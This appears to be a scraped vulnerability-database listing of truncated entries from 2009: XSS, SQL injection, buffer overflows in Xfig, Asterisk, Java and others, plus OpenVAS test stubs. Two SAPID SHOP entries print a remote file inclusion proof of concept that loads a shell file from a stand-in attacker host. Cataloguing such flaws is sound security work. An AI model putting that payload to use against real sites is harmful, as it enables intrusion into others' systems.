CVE-2009-4348

The CVE-2009-4348 entry concerns Harold Bakker’s NewsScript (HB-NS) 1.3, where a Cross‑Site Scripting (XSS) flaw exists in index.php. The bug is triggered via the topic parameter in a topic action, enabling remote attackers to inject arbitrary script/HTML. This vulnerability is documented as a se...

Harold Bakker's NewsScript 1.3 XSS Vulnerability

No description provided by source. /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // 01000010 01101001 01001111 ---------------------------------------------------------------- + Harold Bakker's NewsScript 1.3 XSS Vulnerability // Author Info x Author: bi0 x Contact:...

Format string

Stack consumption vulnerability in ubound.c in Xfig 3.2.5b and earlier allows remote attackers to cause a denial of service application crash via a long string in a malformed .fig file that uses the 1.3 file format, possibly related to the readfpfig function in fread.c...

Stack overflow

Stack-based buffer overflow in the read13textobject function in freadold.c in Xfig 3.2.5b and earlier, and in the readtextobject function in read13.c in fig2dev in Transfig 3.2.5a and earlier, allows remote attackers to execute arbitrary code via a long string in a malformed .fig file that uses t...

CVE-2009-4227

Stack-based buffer overflow in the read13textobject function in freadold.c in Xfig 3.2.5b and earlier, and in the readtextobject function in read13.c in fig2dev in Transfig 3.2.5a and earlier, allows remote attackers to execute arbitrary code via a long string in a malformed .fig file that uses t...

DEBIAN-CVE-2009-4228

Stack consumption vulnerability in ubound.c in Xfig 3.2.5b and earlier allows remote attackers to cause a denial of service application crash via a long string in a malformed .fig file that uses the 1.3 file format, possibly related to the readfpfig function in fread.c...

CVE-2009-4227

Stack-based buffer overflow in the read13textobject function in freadold.c in Xfig 3.2.5b and earlier, and in the readtextobject function in read13.c in fig2dev in Transfig 3.2.5a and earlier, allows remote attackers to execute arbitrary code via a long string in a malformed .fig file that uses t...

CVE-2009-4227

Stack-based buffer overflow in the read13textobject function in freadold.c in Xfig 3.2.5b and earlier, and in the readtextobject function in read13.c in fig2dev in Transfig 3.2.5a and earlier, allows remote attackers to execute arbitrary code via a long string in a malformed .fig file that uses t...

CVE-2009-4227

Stack-based buffer overflow in the read13textobject function in freadold.c in Xfig 3.2.5b and earlier, and in the readtextobject function in read13.c in fig2dev in Transfig 3.2.5a and earlier, allows remote attackers to execute arbitrary code via a long string in a malformed .fig file that uses t...

GeN3 forum V1.3 SQL Injection Vulnerability

Exploit for unknown platform in category web applications =========================================== GeN3 forum V1.3 SQL Injection Vulnerability =========================================== / Software Information + Vendor : http://www.ptcpay.com + script : GeN3 Version 1.3 + Download :...

BM Classifieds Ads SQL Injection Vulnerability

No description provided by source. ALGERIAN HACKER - NORTH-AFRICA SECURITY TEAM - ! BM Classifieds ads SQL injection vulnerability ! Author : Dr.0rYX & Cr3w-DZ ! MAIL : [email protected] & [email protected] / Software Information + Vendor : http://www.bmscripts.com/ + script : powered by BM Classified...

BM Classifieds Ads SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================== BM Classifieds Ads SQL Injection Vulnerability ============================================== / Software Information + Vendor : http://www.bmscripts.com/ + script : powered by BM Classifieds +...

GeN3 forum 1.3 - SQL Injection

GeN3 forum 1.3 - SQL Injection Author: Dr.0rYX & Cr3w-DZ Software Link: http://www.ptcpay.com/shop/browseproducts.php NN N AAAAAA SSSSSSSSS NNN N A A S N NN N A A S N NN N A A S TTTTTT EEEEE AAAA MM MM N NN N AAAAAAAA SSSSSSSSS TT E A A M M M M N NN N A A S TT E A A M M M N NN N A A S TT EEEE...

SAPID SHOP 1.3 - Remote File Inclusion

SAPID SHOP 1.3 - Remote File Inclusion Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln :...

SAPID SHOP 1.3 - Remote File Inclusion

Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC :...

DEBIAN-CVE-2009-4055

rtp.c in Asterisk Open Source 1.2.x before 1.2.37, 1.4.x before 1.4.27.1, 1.6.0.x before 1.6.0.19, and 1.6.1.x before 1.6.1.11; Business Edition B.x.x before B.2.5.13, C.2.x.x before C.2.4.6, and C.3.x.x before C.3.2.3; and s800i 1.3.x before 1.3.0.6 allows remote attackers to cause a denial of...

HB-NS 1.3 Administrative Access

====================================================== news script HB-NS v1.3 Remote Admin Vulnerability Found by: kurdish hackers team C0ntact : pshela at YaHoo .com Groups : Kurd-Team site : www.kurdteam.org ======================================================= +++++++++++++++++++ Script...

Shibboleth Service Provider Multiple XSS Vulnerabilities (Windows)

The host has Shibboleth Service Provider installed and is prone to multiple Cross-Site Scripting vulnerabilities. OpenVAS Vulnerability Test $Id: gbshibbolethspmultxssvulnwin.nasl 4869 2016-12-29 11:01:45Z teissa $ Shibboleth Service Provider Multiple XSS Vulnerabilities Windows Authors: Sharath ...

Shibboleth Service Provider Multiple XSS Vulnerabilities - Windows

Shibboleth Service Provider is prone to multiple cross-site scripting XSS vulnerabilities. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

Design/Logic Flaw

Unspecified vulnerability in the JPEG JFIF Decoder in Sun Java SE in JDK and JRE 5.0 before Update 22, JDK and JRE 6 before Update 17, SDK and JRE 1.3.x before 1.3.127, and SDK and JRE 1.4.x before 1.4.224 allows remote attackers to gain privileges via a crafted image file, aka Bug Id 6862969...